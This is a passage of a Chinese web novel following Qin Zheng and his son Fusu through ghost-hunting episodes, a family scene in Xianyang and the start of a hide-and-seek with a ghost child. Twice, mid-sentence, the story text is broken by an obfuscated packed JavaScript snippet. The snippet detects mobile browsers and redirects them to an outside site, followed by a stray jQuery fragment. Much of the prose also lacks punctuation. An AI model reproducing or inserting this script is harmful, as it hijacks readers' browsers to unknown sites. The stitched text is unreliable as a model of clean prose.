秦政气得头疼飞快从收回的雾里剥离出了一团能量塞回了扶苏的手中。生命力被返还了回来手重新能动了。 只是到底失去过一次活性归还之后手依然不够灵巧。扶苏张开握紧尝试了一番感觉像是隔着一层限制控制手掌。 秦政挥手将女诡打残用黑雾凝成牢笼将它困在里头。然后抓着儿子的手翻来覆去地查看眉头皱得死紧。 他只会夺取旁人的生命力并不知道应该怎么解决生命力被夺走的难题。他会的那点治疗术只是用能量修复伤口而已可扶苏的手并未受损。 秦政气得话都说不出来也没有功夫教训儿子什么。他得先把问题解决了才能有闲心管教。 扶苏其实也被吓了一跳。 不是因为手出问题了而是父亲的反应太大了。他敢伸手就是考虑过后果的原以为阿父变冷漠了或许能冷静一些如今看来并不会。 小太子受惊地睁圆了眼睛: “阿父我没事的。” 秦政一言不发只冷冷瞪了他一眼。 扶苏小声辩解: “我可以许愿让它恢复。” 秦政缓了一口气本来已经不怎么跳动的心脏被刺激得砰砰直跳 儿子说的对许愿应该可以解决这个后遗症。但这不是扶苏能不顾自身安危的理由仗着有特殊能力就随便折腾实在是太危险了。 尤其是扶苏方才明显能力失效应该是今天使用次数太多了。下回这小子要是没算计好次数误以为自己还有许愿的机会就去冒险很容易把自己小命玩完。 秦政深吸一口气找回声音: “你还敢狡辩?” 扶苏垂下脑袋用发顶对着父亲像是乖乖认错的小宝宝。 秦政握紧了他的手: “每次都是这样说了多少回你都不听。我真是太纵容你了这次非得给你长长教训不可。” 扶苏意识到不妙连忙补救: “阿父……” 秦政打断了他: “你休想巧言令色糊弄朕!” 施法中断,鉴于周围还有庶民,太子殿下被拎到了隔壁院落挨收拾。四名秦人都缩着脖子守在黑雾牢笼旁边帮忙盯梢,没敢跟过去看热闹。 扶苏知道这种时候只有装可怜才能逃过一劫,或者至少不被收拾得太惨。 可是父亲根本不给他说话的机会,他就只能呼痛。父亲很少揍他,一般能用说教的就用说教。 秦政并不喜欢打孩子,哪怕是调皮不懂事的幼子们,他也很少动手,顶多是拿着剑吓唬一下。 扶苏小时候都没被打过屁股,长大了反而被摁着收拾。他捂住脸,感觉没脸见人了。 秦政冷声说道: “朕就是小时候打你打少了。” 扶苏举起感知迟钝的左手: “阿父,疼。” 努力把卖惨进行到底。 秦政捉住他的手: “不许乱动,朕又没打你的手。” 而且他打的位置根本就不疼,他又没用太大力气。 扶苏心说还不如打手呢,不行用剑鞘抽他都好,或者他弄点荆条来。用荆条抽人才是教训成年儿子的手段,不是吗? 秦政细致地呵护住他“受伤”的手,防止扶苏乱动影响自己教训儿子。 可惜不能把人变小了揍,那样更方便一些。不过现在这样也不错,知道羞耻了,以后才会长记性,不敢再乱来。 一刻钟后,太子殿下满脸生无可恋地被父亲拎了回来。 四人看了一眼就收回视线。 他们可不敢多看,万一太子恼羞成怒了要迁怒他们,他们是承受不起的。 秦政全程牵着儿子的伤手,防止太子又调皮,伤上加伤。扶苏觉得这个世界已经没什么值得他留恋的了,木着脸被牵着走向堆放粮谷的院落。 接下来找绳子把谷袋捆起来的事情都是这四人做,他们一听这里头的谷子亩产比他们种的庄稼高很多,干起活来非常积极。 秦政原本想等他们把东西捆好就解决掉女诡回大秦的,但出了扶苏能力失效的意外状况后,就得再等等了。 得等能力恢复再走比较稳妥,那样才能百分百保证把粮谷带回大秦。左右朝中还有太孙帮忙监国,他们回去晚一些问题不大 。 既然走不了那就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481695|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找点事做。 秦政在周围又放置了一圈黑雾: “你们就待在雾气形成的围墙中不要出去乱走。外面还有怪物只有这里面是安全的。” 四人连连点头。 父子俩就出去收拾剩下的诡异了借用扶苏的吸引力将所有小诡一网打尽。应该没有漏网之鱼了秦政没再感受到诡力的波动。 做完这些父子俩又把秦人那边的黑雾墙壁撤下。叮嘱他们出去再搜集一些大秦没有的好东西以作物种子为主到时候一起带回去。 而后父子二人前往书房打算找找看有没有什么书籍能查阅。他们对这个异世界一无所知若有史书或许能了解一二。 结果找到后发现文字不通根本看不出来写的是什么。 在是否找个本地人翻译中犹豫了片刻最终选择放弃。因为扶苏说他看到的记忆里这家人竟然不教女儿习字的。 仆从里认字的也少女儿又没学过认字。老爷已经疯了剩下认识字的估计也就刚开蒙没多久的小少爷。 左右只是萍水相逢以后有机会再次来到这个位面的诡域再了解也不迟。说不定诡域链接不同世界下回去的就是其他地方了。 查看本界历史对他们来说没什么意义。 秦政一想也是。 父子俩折返回去准备找个地方安静等待明日到来。 期间扶苏见父亲一直脸色不佳就没敢说俏皮话缓和气氛。 平时阿父没那么生气他胆子就大。阿父真气狠了就算是他也不敢继续撩虎须免得再挨一顿揍。 扶苏越走越慢。 秦政停下了脚步: “累了?” 并没有只是在思考要怎么让这事彻底过去就有点心不在焉。但父亲既然问他累不累他肯定是要说累的。 父亲主动关心他呢这是破冰的信号。 扶苏果断抓住了这个机会: “有一点累。” 他眼巴巴看着父亲像个可怜的小狗狗。 秦政面无表情地把儿子拎进附近的屋子里丢到软榻上示意他好好休息。 表情冷硬动作也冷硬但干的事情是温柔的。扶苏就知道父亲哪 怕没消气,也舍不得他受累。 他试探着问: “阿父坐下来陪我一会儿吗?” 秦政在他身边坐下: “朕不陪你,难道你想独自待在这里?你能力已经失效了,随便来一只诡就能吞了你。” 扶苏也没提父亲可以用黑雾保护他。 还故意反着说: “我知道父亲肯定是想亲自盯着我,免得我又闯祸给你惹麻烦。你可是堂堂甲级诡异,才不会关心我一个活人。” 秦政定定地盯着他: “就你话多。” 平时不生气的时候,他会顺着扶苏的话说。无论是顺势承认了自己就是这样冷酷无情的诡异,还是遵从本心反驳他不关心扶苏的话都好。 但他现在很生气,就不想搭理扶苏的那点小心眼。 茶艺大师的话术只有在品茶人愿意配合的时候才好用,不想配合了,对方就会不给面子地指出“你说话好茶”。 秦政只是变冷漠了,并没有失智,他能看出来扶苏平时说话用了什么小心机。 不过这个程度的拆穿扶苏是不会觉得尴尬的,只有揍屁股才能叫他破防。所以小太子充耳不闻,只挨过去和父亲贴贴。 这次秦政没有拒绝。 他刚刚发火吓到了儿子,拉不下脸来哄人。所以儿子过来用行动求安慰时,他选择了放任。 扶苏有些委屈地说道: “阿父都揍我了,为什么还生气?” 这件事不应该揭过吗? 他已经知道错了,发誓以后再也不敢了。这次是真的认真做了反省,不是以前那种积极认错死不悔改。 秦政没有回答。 他就是有点气闷,气自己明知道扶苏经常作死,还没做好防备。 如果当时他在黑雾面向扶苏的这一侧加上了诡力阻拦,扶苏就算把手伸出去也不可能摸进黑雾里的。 但他觉得没必要,黑雾完全可以吞掉前方扑来的危机,他就忽略了后方儿子自己给自己创造的危险。 扶苏就是个大号的捣蛋鬼,需要家长时刻盯着才行。 当爹的都知道儿子什么德性了,竟然还能疏于防备。秦政觉得这是自身的问题,不能全怪孩子,却又拉不下脸向儿子自我剖析。 扶苏看出了点端倪。 他转身抱住父亲撒娇: “阿父,阿父最疼我了,不要生气好不好?我最爱阿父,阿父是天底下最好的阿父,肯定舍不得让我伤心。 是小时候惯用的糖衣炮弹。 多少年没听过了,秦政一时间还有些不习惯。他很快制止了儿子的甜言蜜语,问他都多大了,这些话也好意思说,没羞没臊的。 扶苏清了清嗓子,背诵起来: “无且爱我。 秦政:! “将军虽病,独忍弃——唔! 嘴巴被捂住了。 所以说当爹的在自己都一把年纪还讲甜言蜜语的时候,千万不要双标地指责儿子爱撒娇,容易被揭穿老底。 扶苏被捂住了嘴,一双漂亮的眼睛却在滴溜溜地转,明显还在打坏主意。 秦政用眼神警告他不许乱说。 等父亲收回手,扶苏才乖巧开口: “阿父不用那么紧张,反正那是原身始皇帝说的话,和你诡异秦政没有半枚秦半两的关系。 秦政:…… 扶苏还说呢: “阿父方才那么紧张我,我差点以为你不是诡异秦政,是我生父始皇帝了。 秦政:…… 扶苏还想继续说: “不过您放心,我肯定不会把你们两个弄混——唔! 又被捂住嘴巴了。 秦政心道他刚刚就不应该松手,眼神警告对于厚脸皮的秦扶苏来说根本没有任何用处。 这都什么倒霉儿子? 可是扶苏嘴巴不能用,还能用眼神询问父亲。那双遗传自母亲的桃花眼极为好看,虽然不像幼时那般眼型圆润可爱了,却更能传递情绪。 秦政移开了视线不看他。 他知道儿子想问的是什么,无非是父亲现在还要嘴硬不承认自己是所谓的“原身吗? 这个问题,秦政心里已经有答案了。 自欺欺人没什么意思,在扶苏受伤而他急得失去分寸时,就已经暴露了一切。只是小狐狸就想听父亲亲口承认,然后开心地嘚瑟一番。 秦政不想纵容他,干脆回避了问题。 扶苏也不在意,开心地靠在父亲肩头闭上眼睛。他有点困了, 第 233 章 国之灵 第233章国之灵 这只诡异会选择秦稷进行扮演,严格来说并不是它傻。 虽然它也没那么聪明。 它叫亡诡,是一种专门伪装成亡者骗人的诡异。只要让它听到活人的声音或者看到活人的长相,它就可以通过天赋能力获知对方死亡近亲的长相和声音。 这个近亲,一般指的是血缘关系较近的亲属。最好是近期有过接触的,长久没有接触的会捕捉不到。 亡诡并不会盲目地挑选某个亡者进行扮演,在符合条件的所有人选里,它会自动选择其中和生者关系最好的那个。 比如它前一轮试图哄骗妇人时,别看挑中的是妇人的婆母,实际上婆媳两个生前关系是很好的。 这得益于先秦时期特殊的社会环境。 在先秦,寡妇多如牛毛。 很多新婚妻子嫁进来后没和夫君相处多久,人就上战场去了。能回来最好,回不来就是婆媳两人一起把孩子拉扯大。 婆婆大概率是寡妇,新妇也是寡妇。大家都习惯了这样的现状,也没有后来那种喜欢谴责新妇扫把星、刚嫁进来就害死丈夫的扭曲风气。 苦命人何必为难苦命人?相依为命久了,感情反而更好。 所以妇人和她婆母感情极好,才会在听到婆母声音的第一时间想着开门将人迎进来。而不是担忧开门的话,会不会叫怪物有机会跟着一起进屋。 家中的小女儿出生晚,对祖母记忆不深。这才能成为全家里最清醒的那个,拉住母亲阻止了对方开门。 但实际上婆母生前和这个小孙女感情也极好,只是孩子那时候太小,不记得了。 亡诡不会分辨这个,它只是综合判断过后,发现婆母是家中亡魂里和大家感情都很不错的那个,于是就扮演了对方。 毕竟如果选择只和其中一人感情好的亡魂进行扮演,就没办法蛊惑住所有人,容易被揭穿。 可惜千算万算,没能算到家里有个忘了儿时旧事的小女孩。 现在,亡诡面对扶苏和秦政。 它再一次遵循自己的行事准则,选择了亡魂里和父子俩关系都最亲密的秦稷。 别看秦稷这家伙欠欠的,但全家还真就是 他和父子俩相处最多。别的先王不是矜持就是严肃或者像子楚那样有旧怨反而不会和后辈打成一团。 越是老小孩一样的长辈越容易和晚辈处得好。尤其秦稷和扶苏还臭味相投经常一起祸害地府。 他俩自己失忆了不记得亡诡的天赋却捕捉到了这些。 哪怕亡诡看不到他们的相处细节也不要紧。因为它靠着天赋直接就能迷惑住目标扮演得再怎么假也不会被发现。 总之秦稷既符合近亲又符合近期接触过还符合跟父子俩关系都好完美对上了亡诡的选人标准。 唯一的问题是当事人父子俩并不记得自己认识秦稷。 这两个bug直接无视了亡诡的迷惑。 或者说就算他们记得秦稷以他们的神魂强度和诡界实力也不可能被低等诡异的天赋能力给迷惑住。 扶苏直接站在门后透过漏光的门缝看向外面。 这年头好些庶民家中的门扉其实根本没法遮得严严实实家里的破门板就凑合用着。 反正家无余财也没有窃贼会来光顾自家。尤其是住在城内的秦律抓窃贼判得很重。 扶苏看见门缝外确实站着个有些面善的年轻人至多二十五六的年纪俊美风流还带了点流氓痞气。 扶苏回头冲父亲说: “是个骗子顶着二十出头的脸居然冒充我的高祖父。高祖父可是都九十六岁高龄了怎么可能长这样?” 秦政:…… 秦政配合地点头: “不错昭襄王过几年便是百岁老寿星了。” 门外的亡诡:??? 亡诡迷茫地回忆了一下它获取到的信息没错啊秦稷就是长这样为什么里头的人会说年纪对不上? 它百思不得其解地走开了。 过了片刻不信邪的它换了个身份重新回来再次敲门。扶苏以为它会变成老年昭襄王 大概是考虑过年龄的问题了觉得选个辈分高的会栽进同一个坑里。 楚姬就正合适和秦政年纪差不多。女子这个年龄如果保养得好看起来年轻也正常。 亡诡用着楚姬的声线温柔地呼唤: “阿苏娘亲来看 你了。” 扶苏有点生气了: “它怎么能用我阿娘的模样?” 用昭襄王也就算了,他懒得给昭襄王声张正义。用他阿娘的不行,毕竟那是他娘。 秦政伸手去开门: “谁让你非要和它玩?” 要是刚才就开门把亡诡收拾了,现在哪儿还有这些事。 扶苏气呼呼地说: “我就是想看看老成九十多岁的昭襄王会是个什么模样,然后画下来等召唤出他就把画给他亲自看看。” 秦政没搭理他,手一推门就开了。 这门根本没上闩。 毕竟他们选的这家人都被亡诡骗走了,家里没人住,不可能从里头锁上。官府的人过来调查取证后顺手把门带上了。也没想起来要锁门。 扶苏忽然反应过来: “那亡诡岂不是推门进来就行了?根本用不着这么费劲骗人开门啊!” 亡诡果然脑子不好使。 亡诡自己也听到了这番话:…… 好的,它学会了。下次叫门前先试试门能不能直接打开,打不开再骗人开门。 但它似乎没有下次改正的机会了。 秦政伸出手。 扶苏等着父亲大发神威把这亡诡干掉,结果他爹先拽住了他。 扶苏:? 确认把人看好了之后,秦政才丢出黑雾吞噬了亡诡。 扶苏后知后觉地意识到,阿父这是担心他又跑出去主动接触危险的黑雾,才会先把他拽住。 扶苏心想,自己在阿父心里好像已经没有信誉度可言了,真是糟糕。 秦政并没有完全把亡诡诛杀,毕竟还要靠着它找到失踪的庶民。 亡诡只剩下一颗脑袋掉在地上。 它没有像之前的女诡一样重新凝聚出身体来,因为只剩一个脑袋不会影响它跑路。现在要是把身体凝聚出来,就要分出不少诡力去塑造躯体,反而会大大降低逃跑速度。 秦政看着那脑袋轱辘辘往外滚,一眨眼消失在原地,并没有阻拦。 他牵着儿子不紧不慢地跟上。 这诡要逃跑,大概率是往它自己觉得安全的地方逃。应该是它的老巢,失踪者或许就在它的巢穴之中。 父子俩一路跟 随他来到了城中某个人家挖的废弃地窖入口,原来藏在这儿。 亡诡一次性只能蛊惑一家人,毕竟它得维持住自己的伪装形态。一旦撤销伪装或者更换伪装,之前被迷惑的人就有极大概率挣脱它的控制。 在大秦,进出城池都会遭受到盘问,军事化管理不是说着玩的。 亡诡根本没有办法带着这么一家子出城去,它自己的身份经不起查。而它又没办法同时蛊惑住守门士兵让他们放自己一行人出城,所以老巢在城内才是合理的。 秦政很快逮住了企图躲进地窖的诡脑袋,而后瞬移去了此地官府,将消息透露给太守。 太守赶紧遣人去把地窖内的庶民解救出来,送去医治。 亡诡没有把这些人一口气吃光,它可能是打着养一养再接着吃的主意,所以给众人都留了一点生命力没吞。 但是亡诡并不知道,活人不吃不喝是会生病死亡的。它要养殖人类,至少得提供食水。 而且地窖内阴冷黑暗,人待久了很容易生病。何况被它抓来也挺吓人的,有几个孩子就因此高热不退,已经烧糊涂了。 扶苏用了一次许愿的机会保证他们身上的病痛能痊愈,想来应该不会有孩子因为高烧烧成傻子。 庶民家中生活困难,如果孩子烧傻了,那就很有可能会被遗弃,或者放任小孩哪一天“意外身亡”。 毕竟抚养一个傻子的成本太高了,庶民根本承担不起。 医者叹息道: “这些人失去了太多生命力,也不知是否会影响寿数。” 他们不太清楚生命力是个什么概念,是阳寿还是其他什么,自己能不能恢复,毕竟他们不是诡异。 扶苏也不了解,看向父亲。 秦政答道: “是生机,身体会变得孱弱。好好休养可以重新养回来,休养不好生病便容易死亡。” 可庶民哪有条件好好休养呢? 尤其是全家都遭遇了这样的事情,家里连个能干活的都不剩了。一家子病恹恹的,日子显见是没法过下去了。 秦政看了一眼儿子,见往日遇到这样的事情会蹙眉同情的太子,如今一脸漠不关心,就知道他是受了诡力的影响。 虽然秦政自己也是个冷漠的诡异,但他并 不希望儿子变成这样。哪怕阿苏什么模样都是他心爱的长子他也想看见阿苏更有人气的模样。 因为现在的扶苏有些像幼年那个情感缺失的状态。 秦政好不容易把孩子养好的。 难道诡异真的克服不了冷漠的本性吗? 秦政决定以身作则重新把儿子引导回去。 于是秦政拿出了用亡诡的诡力凝结出的诡力珠子从中分离出了一些能量诸如那些庶民的体内。 这些是他们流失的生命力。 回归的生命力并不能立刻就和身体融合在一起他们大概也要经历几日的“身体控制起来像隔了一层”却也总比奄奄一息要好。 何况扶苏之前许过愿说想要他们能够痊愈。 此前流失的生命力光靠许愿是很难补回来的但秦政已经主动把生机给他们补上了。光是融合的话 扶苏有些意外父亲的选择: “阿父?” 秦政牵着他回家: “太子之前不是觉得父亲太冷漠了?朕在努力找回自己以前的样子。” 扶苏觉得父亲以前也不是这样的。 但他听明白了阿父的意思阿父是想说找回人性。所以才主动去做一些好事看看能不能借此影响到自己的心态。 扶苏想了想: “那我也和阿父一起努力。” 秦政答应下来。 他就知道自家太子一向喜欢跟着父亲的脚步学习。只要他这个当爹的先以身作则了就一定能影响到扶苏。 做长辈的不就是要给孩子当个好榜样吗? 回到咸阳后。 许多人都听说了成都发生的事情扶苏的女儿舜华有个问题不太明白跑来找父亲求解。 扶苏正陪父亲修改律法见状干脆给自己放了个假休息片刻。 舜华深谙礼多人不怪的道理见面先让自己身边的女卫送上她特意去膳房拎来的小甜点。 扶苏扫了一眼: “这是打算贿赂我吗?” 舜华笑嘻嘻地说: “孝敬父亲的怎么能算贿赂?” 扶苏便给面子地尝了一块然后才问他找自己有什么事。这丫头无事不登三宝 殿,带了孝敬来肯定是有求于人。 舜华就先问了自己的疑惑: “那亡诡既然可以迷惑得旁人跟它离开,为什么还要费劲骗人开门呢?直接在大街上挑人,不是更方便? 它这么一折腾,全城戒严,大家都闭门不出了。而且骗人开门这个操作本来就比较麻烦,成功率不好说的。 扶苏提醒女儿: “可亡诡并不知道自己的举动会导致全城戒严。 它有智商但不多,推测不到这一层。 舜华恍然。 扶苏继续往下分析: “在它看来,在街上随便拉人固然成功率高,但一次只能拉一个人。找居住在一起的一大家子,却有机会一口气骗走很多人。 亡诡有限的智商可能会让它认定,只骗走一个会因为那人的失踪引得对方家里人寻找。全家都骗走了,就没有人会到处找人甚至惊动官府。 至于被骗走的全家其实还有别的亲人、邻居发现不对也会上报,这些就不是它有限智商能考虑到的事情了。 舜华举一反三: “我明白了,其实如果没有全城戒严的话,各家并不会门窗紧闭。它就可以随便挑选家门敞开的人家,进去骗人,不用忽悠人给它开门。 那样还方便一些。 扶苏颔首: “不错,孺子可教。 舜华解完惑,这才提起正事: “父亲,我也想去处理那些诡异。我好饿,祖父真是偏心,弄到的食物只给你吃,都不分给我们一点。 扶苏像是才反应过来: “你们也需要进食那些诡异? 舜华气鼓鼓: “父亲你问这话是什么意思?我们当然需要进食了! 父亲果然只在乎祖父一个,只关心祖父会不会吃腻了人类食物,需要一点小甜点加餐。至于儿女弟妹那些,捡来的,管他们饿不饿肚子呢。 扶苏心虚地糊弄道: “再等等,等下回给你们带点。 舜华才不接受: “我要自己去猎食,我不用你给我带。最近不打仗,我都闲得骨头疼。 舜华公主是个女将军,虽然才上战场没几回,立下的战功还是很可观的。毕竟是从 小跟在韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481696|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信屁股后头长大的跟着兵仙学了不少本事。 扶苏于是看向父亲: “阿父域外或许有不少诡异。” 不提他都快忘了。 大秦的疆土还没有扩展到西域、西羌和箕子侯国所在的那片半岛目前只收服了青海高原、扶桑岛、北部的匈奴和东北的东胡。 原本下一步的计划是过几年就去打半岛让箕子侯国成为大秦附属国 但现在嘛—— 秦政放下手里的奏折说道: “若是箕子侯国内部诡异丛生当地官府定然会崩溃。” 到时候就不是大秦狼子野心进犯侯国了而是侯国求着大秦去解救他们。并且举国上下都会迫不及待想直接并入秦土绝不当什么附属国。 附属国可不一定能得到最快的支援。 扶苏露出一个微笑: “其他地区亦可借此成事。” 这么看来诡异复苏对大秦其实也是有点好处的。 搁在以前大秦还要担忧打下的地盘太多治理不过来。离得远的地方难免生出反心会有人想要自立。 可如今诡异能够立契契约在身再多的小心思也白搭。何况他们实力只要压不过秦政父子本也只有乖乖听话的份。 说不得还能肖想一下把西边大陆之类的都给统一了。 要不怎么说乱世是枭雄的机遇? 舜华听傻了。 反应过来之后就是兴奋: “所以以后会有很多仗要打是吗?那我大秦的军功爵制其实还能再延续很久啊!” 之前祖父和父兄都在解决军功爵制走到尽头的问题改革已经颇有成效了。但老秦人其实对这个制度很有感情能保留还是更愿意保留下来。 毕竟它比什么读书做官稳妥多了它是实打实的军功。底层民众也不用担心哪天上来个昏君叫学堂不许收庶民出身的孩子只给贵族子弟进学做官的机会。 虽然现在已经不可能有昏君上位了但庶民又不知道这事。 扶苏戳破了女儿的兴奋: “你是想让秦军打去西方瓜分西方田地?他们愿意背井离乡搬去那边?” 舜华就蔫了: “是 哦,那边的地不值钱。” 秦政见儿子欺负孙女,开口打圆场: “军功爵制确实可以延续下去,却不是靠着分地,而是别的奖赏。” 如果秦人渐渐都变成诡异了,那么土地就不再是大家最想要的家产。他们的第一首选会变成别的东西,比如诡力凝结成的珠子。 这东西不仅可以作为甜点满足觉醒者的口腹之欲、压制他们对活人的食欲,还可以提升他们的实力。 大部分的诡异只是寿命更长,并不是完全不会老死。他们需要通过摄入诡力来延长寿命,光吃人类食物不够。 何况很多觉醒者并不能达到诡异的级别。 别忘了,十个等级里,只有到了第八级的觉醒者才会成为半诡,到了第五级则会彻底变成诡异。这个时候的他们还是普通诡异,要升到第三级才不再需要靠诡力续命。 因此,后头七级的国民都是有“老死”风险的,诡力珠就是延寿的硬通货。 舜华兴奋地一拍桌案: “对呀!军功换诡力珠!妙哉!” 扶苏低头看了一眼被拍裂的案几。 扶苏微笑着说道: “秦舜华,你弄坏了你祖父的桌案。” 舜华:! 舜华只好可怜兮兮地看向祖父: “我不是故意的,我忘了我现在力气很大了。” 秦政头疼地看着这对父女俩。 家里几个崽子怎么都喜欢装可怜?果然还是上梁不正下梁歪吧,都是跟扶苏学的。 舜华迅速溜之大吉了。 扶苏看着女儿的背影,有些感慨。 舜华已经长成亭亭玉立的大姑娘了,不久前恰好及笄——大秦一统天下后新订的秦礼中女子二十及笄。 除了及笄之外,还修改了一些其他的东西。比如确立了女性后代的继承权,而与之配套的,则还有姓名称呼上的变更。 以前男称氏女称姓,比如嬴姓李氏的大名李信,己姓有苏氏的大名妲己。按照这个规律,舜华得叫舜华嬴,或者秦嬴。 因为有时候史书并不会记载女子的名字,而是把她父亲的氏放在前头。典型的有晋文公的母亲狐姬,她家是姬姓,她父亲叫狐突。 如今女子既然有了继承权,自然 也享有和男子一样的冠姓冠氏的权利。 所以秦舜华就是秦舜华。 扶苏让人换了一张桌案来,而后对父亲感慨道: “舜华都这么大了,我是不是老了? 扶苏总觉得自己还是十六七岁的少年人,所以可以永远对父亲撒娇,放任自己幼稚又粗心。 他照镜子也意识不到自己老了,儿子都订婚,孙辈眼看要出生。 虽然这也得益于之前成婚生子太早。 秦政沉默一瞬: “你在朕跟前说老? 他可是快有曾孙的人。 扶苏意识到失言,赶紧去哄爹。哄完爹后太子殿下算了算年纪,发现自己还没四十呢,又放下心来。 不是自己太老,是桥松和舜华长得太快了,都是他们的问题。 秦政把扶苏之前改到一半的律法丢给儿子,让他继续干活。休息也休息过了,不许偷懒。 扶苏只好翻开册子,接着看。 舜华那傻丫头只想到打仗,完全忽略了其实解决作乱的诡异也是可以记入军功的。 现阶段各地的诡异还没全面复苏,这才不显。等以后外头到处都是诡异,秦军真正的敌人就会变成诡异大军,这如何不算是军功呢? 但和诡异大军的作战,里头有不少细节需要商榷。 击杀诡异后,士兵自行将诡异吸收掉怎么办?大秦要记录军功,要发放奖励,就不能任由他们乱来。 所以得做好规定。 扶苏提出一个问题: “诡异难以诛杀,诛杀后会飞快消散,他们体内的诡力就浪费了。然而寻常觉醒者并不会凝练诡力珠的能力,何况有些士兵第一次面对诡异,自己本身还没成为觉醒者。 要把诡异体内的诡力利用起来,就得赶在它的尸体消散前凝练能量珠。但战斗中哪有那个条件,除非借用一些外物。 秦政点了点桌面: “那就直接让他们吸收掉。 扶苏正要露出疑惑的表情,忽然恍然大悟。 是啊,他完全没必要把事情搞得那么复杂。 士兵上战场前记录一下-体内诡力充沛时的实力等级,战斗完毕再测量一下。进行一下对比相减,不就能确定士兵吸收了多少诡异吗? 第 234 章 以牙还牙 第234章以牙还牙 拖着长刀的小男孩缓缓从远处走来。 他没有脚步声,但是刀在地上摩擦的声音却清晰刺耳。原本就是会引起人类身体不由自主战栗的声音频率,加上气氛上渲染出的紧张,叫人越发感觉难捱。 许多人都下意识抖了一下。 男孩的脚步一顿,缓缓扭头,看向某个抖动了一下的树丛。 刀的声音因此消失了。 但是没有人感觉到放松,反而更加紧张起来——他是发现什么了吗? 有人壮着胆子挪了挪脑袋,将眼睛对准了躲藏处的一道缝隙。透过那条小缝悄悄朝外张望,就见男孩冲着一个方向慢慢咧开嘴角。 男孩嘻嘻一笑: “找到了。” 他调转方向走向树丛,举起了长刀。 树丛里躲着的男人听到声音接近自己,意识到自己暴露了。他惨叫一声,连滚带爬地钻了出来,朝着前方狂奔。 男孩不紧不慢地追逐着他,分明可以轻易将人捉住,却偏要猫抓老鼠一样戏弄活人。 间或发出“嘻嘻”“哈哈哈”“我快追上你了”之类的声音,听得人头皮发麻。 扶苏皱了皱眉: “好聒噪。” 秦政身高腿长,在这个位置待着并不舒服。他已经把姿势改成了坐姿,侧耳听着声音的远近。 当小男孩路过滑梯周围的时候,他忽然站起身。从顶部探身弯腰,伸手一把抓住了那柄被举起来的长刀。 男孩:??? 男孩疑惑地抬头看过来,就见一个高大的男子稳稳捉住了他的长刀。对方一手撑着栏杆稳住身形,一手伸出来抢刀,根本不怕没站稳翻倒下来。 秦政微微用力,就将刀拉向了自己。 男孩下意识跟着用力,想把刀给拽回去。这是他的武器,可不能被别人抢走。 结果这么做并不能将刀抢回来,还导致自己被跟着一起拎到了半空。眼看着就要人刀两失,男孩立刻松手落地,后退几步警惕地看着秦政。 他没想到这里居然会出现这么强大的觉醒者。 扶苏也探头: “什么时候可以开始玩捉迷藏?” 秦政淡淡地说: “现在就可以开始了。” 男孩没听懂他们在说什么。 却见秦政直接将他用诡力凝出的长刀分解掉然后丢出了一团黑雾。雾气朝着男孩的方向席卷而来男孩感受到危机立刻放出诡力抵挡。 然而丢出去的诡力全部都被黑雾吞噬掉了 男孩发现不敌调头就跑。 身后是扶苏兴致勃勃的声音: “只抓一个是不是太单调了一点?他刚刚是怎么做到让所有地区都听见他说话的?我也想试试!” 秦政不知道但秦政可以问。 男孩很快被捉了回来。 扶苏温柔地对他说: “别怕我们现在暂时不会动你。你先回答我的问题如果回答的好我可以考虑放你一马。” 男孩不太敢相信扶苏的承诺但秦政的黑雾就在周围盘旋由不得他不听。 男孩憋屈地指了个方向: “在那边有个广播室。” 五分钟后男孩一溜烟从广播室里逃了出去。见两人都没来追还以为自己已经逃过一劫了。 结果就听见广播响了起来是那个看起来很孱弱的活人在说话。 扶苏新奇地玩了一会儿话筒才开口宣布游戏规则: 【全场的诡异听好了给你们三十秒的时间躲藏起来。三十秒后我将会来搜寻你们如果被我找到——就吃掉你们十分之一的身体!】 说完还严谨地学习男孩字正腔圆地念出了三个字: “嘻嘻嘻。” 秦政:…… 秦政揉了揉太阳穴: “别闹。” 扶苏无辜地回头看向父亲: “第一次当坏人没有经验我模仿得是不是不太像?” 秦政考虑了一瞬选择说实话: “你平时就挺不像个好人的。” 扶苏接下了这个夸赞。 同一时间刚刚跑出去的男孩差点一个趔趄栽倒。 他本来是想出去吞几个活人恢复实力的实力大减让他心里很没有安全感。他发誓这次绝对不玩耍 浪费时间了,直接把猎物吃掉。 但这个广播一出,他意识到剩余的时间根本不够他去进食的。三十秒太短了,他要是敢耽搁,小命绝对玩完。 男孩本来就只剩下十分之一的诡力,再被吃掉十分之一,不就是一点都不剩了吗?总不能指望那俩煞神会好心地每次都只吞噬“当前剩余诡力的十分之一”吧? 肯定是按照最高上限来的。 男孩脚步一转,躲进了垃圾桶里。 游乐园的垃圾桶也是可可爱爱的造型,看上去并不埋汰。 而且因为诡异降临时,他们故意卡在刚开园的时候联手将游乐园封锁掉。所以大部分垃圾桶里其实是干净的,才套上了新的垃圾袋。 男孩心想,那两个明显就是活人,活人应该比较爱干净,肯定不会来翻垃圾桶找他的。 于是男孩安心了。 可是,他安心的太早了。 口袋里的手机响了一下,是园区里的其他诡异给他发来了消息。吓得他一个激灵,赶紧把手机调整成静音。 这手机还是他们从活人手里抢的,毕竟诡异自己没有手机。手机这东西还是很不错的,诡异用了都说好,比如现在就很方便拿来互通有无。 男孩悄悄打开群聊,看到群里在刷屏。 小伙伴们纷纷@小藏,询问他这边出了什么问题。为什么好端端的广播被其他人用了,在广播里说话的人是什么来头,觉醒者还是高阶诡异? 